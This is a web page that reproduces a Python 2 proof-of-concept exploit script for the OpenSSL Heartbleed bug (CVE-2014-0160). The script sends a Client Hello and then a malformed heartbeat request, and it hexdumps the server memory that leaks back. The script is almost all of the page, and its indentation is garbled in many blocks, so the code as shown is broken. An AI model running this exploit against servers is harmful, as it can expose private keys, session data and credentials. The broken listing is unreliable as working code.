OpenSSL Heartbleed Vuln [SEVERE]

Code
#!/usr/bin/python



# Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford ([email protected])

# The author disclaims copyright to this source code.



import sys

import struct

import socket

import time

import select

import re

from optparse import OptionParser



options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)')

options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)')



def h2bin(x):

    return x.replace(' ', '').replace('\n', '').decode('hex')



hello = h2bin('''

16 03 02 00  dc 01 00 00 d8 03 02 53

43 5b 90 9d 9b 72 0b bc  0c bc 2b 92 a8 48 97 cf

bd 39 04 cc 16 0a 85 03  90 9f 77 04 33 d4 de 00

00 66 c0 14 c0 0a c0 22  c0 21 00 39 00 38 00 88

00 87 c0 0f c0 05 00 35  00 84 c0 12 c0 08 c0 1c

c0 1b 00 16 00 13 c0 0d  c0 03 00 0a c0 13 c0 09

c0 1f c0 1e 00 33 00 32  00 9a 00 99 00 45 00 44

c0 0e c0 04 00 2f 00 96  00 41 c0 11 c0 07 c0 0c

c0 02 00 05 00 04 00 15  00 12 00 09 00 14 00 11

00 08 00 06 00 03 00 ff  01 00 00 49 00 0b 00 04

03 00 01 02 00 0a 00 34  00 32 00 0e 00 0d 00 19

00 0b 00 0c 00 18 00 09  00 0a 00 16 00 17 00 08

00 06 00 07 00 14 00 15  00 04 00 05 00 12 00 13

00 01 00 02 00 03 00 0f  00 10 00 11 00 23 00 00

00 0f 00 01 01      

''')



hb = h2bin(''' 

18 03 02 00 03

01 40 00

''')



def hexdump(s):

    for b in xrange(0, len(s), 16):

      lin = [c for c in s[b : b + 16]]

      hxdat = ' '.join('%02X' % ord(c) for c in lin)

      pdat = ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin)

      print '  %04x: %-48s %s' % (b, hxdat, pdat)

    print



def recvall(s, length, timeout=5):

    endtime = time.time() + timeout

    rdata = ''

    remain = length

    while remain > 0:

      rtime = endtime - time.time() 

      if rtime < 0:

      return None

      r, w, e = select.select([s], [], [], 5)

      if s in r:

      data = s.recv(remain)

      # EOF?

      if not data:

      return None

      rdata += data

      remain -= len(data)

    return rdata



def recvmsg(s):

    hdr = recvall(s, 5)

    if hdr is None:

      print 'Unexpected EOF receiving record header - server closed connection'

      return None, None, None

    typ, ver, ln = struct.unpack('>BHH', hdr)

    pay = recvall(s, ln, 10)

    if pay is None:

      print 'Unexpected EOF receiving record payload - server closed connection'

      return None, None, None

    print ' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay))

    return typ, ver, pay



def hit_hb(s):

    s.send(hb)

    while True:

      typ, ver, pay = recvmsg(s)

      if typ is None:

      print 'No heartbeat response received, server likely not vulnerable'

      return False



      if typ == 24:

      print 'Received heartbeat response:'

      hexdump(pay)

      if len(pay) > 3:

      print 'WARNING: server returned more data than it should - server is vulnerable!'

      else:

      print 'Server processed malformed heartbeat, but did not return any extra data.'

      return True



      if typ == 21:

      print 'Received alert:'

      hexdump(pay)

      print 'Server returned error, likely not vulnerable'

      return False



def main():

    opts, args = options.parse_args()

    if len(args) < 1:

      options.print_help()

      return



    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    print 'Connecting...'

    sys.stdout.flush()

    s.connect((args[0], opts.port))

    print 'Sending Client Hello...'

    sys.stdout.flush()

    s.send(hello)

    print 'Waiting for Server Hello...'

    sys.stdout.flush()

    while True:

      typ, ver, pay = recvmsg(s)

      if typ == None:

      print 'Server closed connection without sending Server Hello.'

      return

      # Look for server hello done message.

      if typ == 22 and ord(pay[0]) == 0x0E:

      break



    print 'Sending heartbeat request...'

    sys.stdout.flush()

    s.send(hb)

    hit_hb(s)



if __name__ == '__main__':

    main()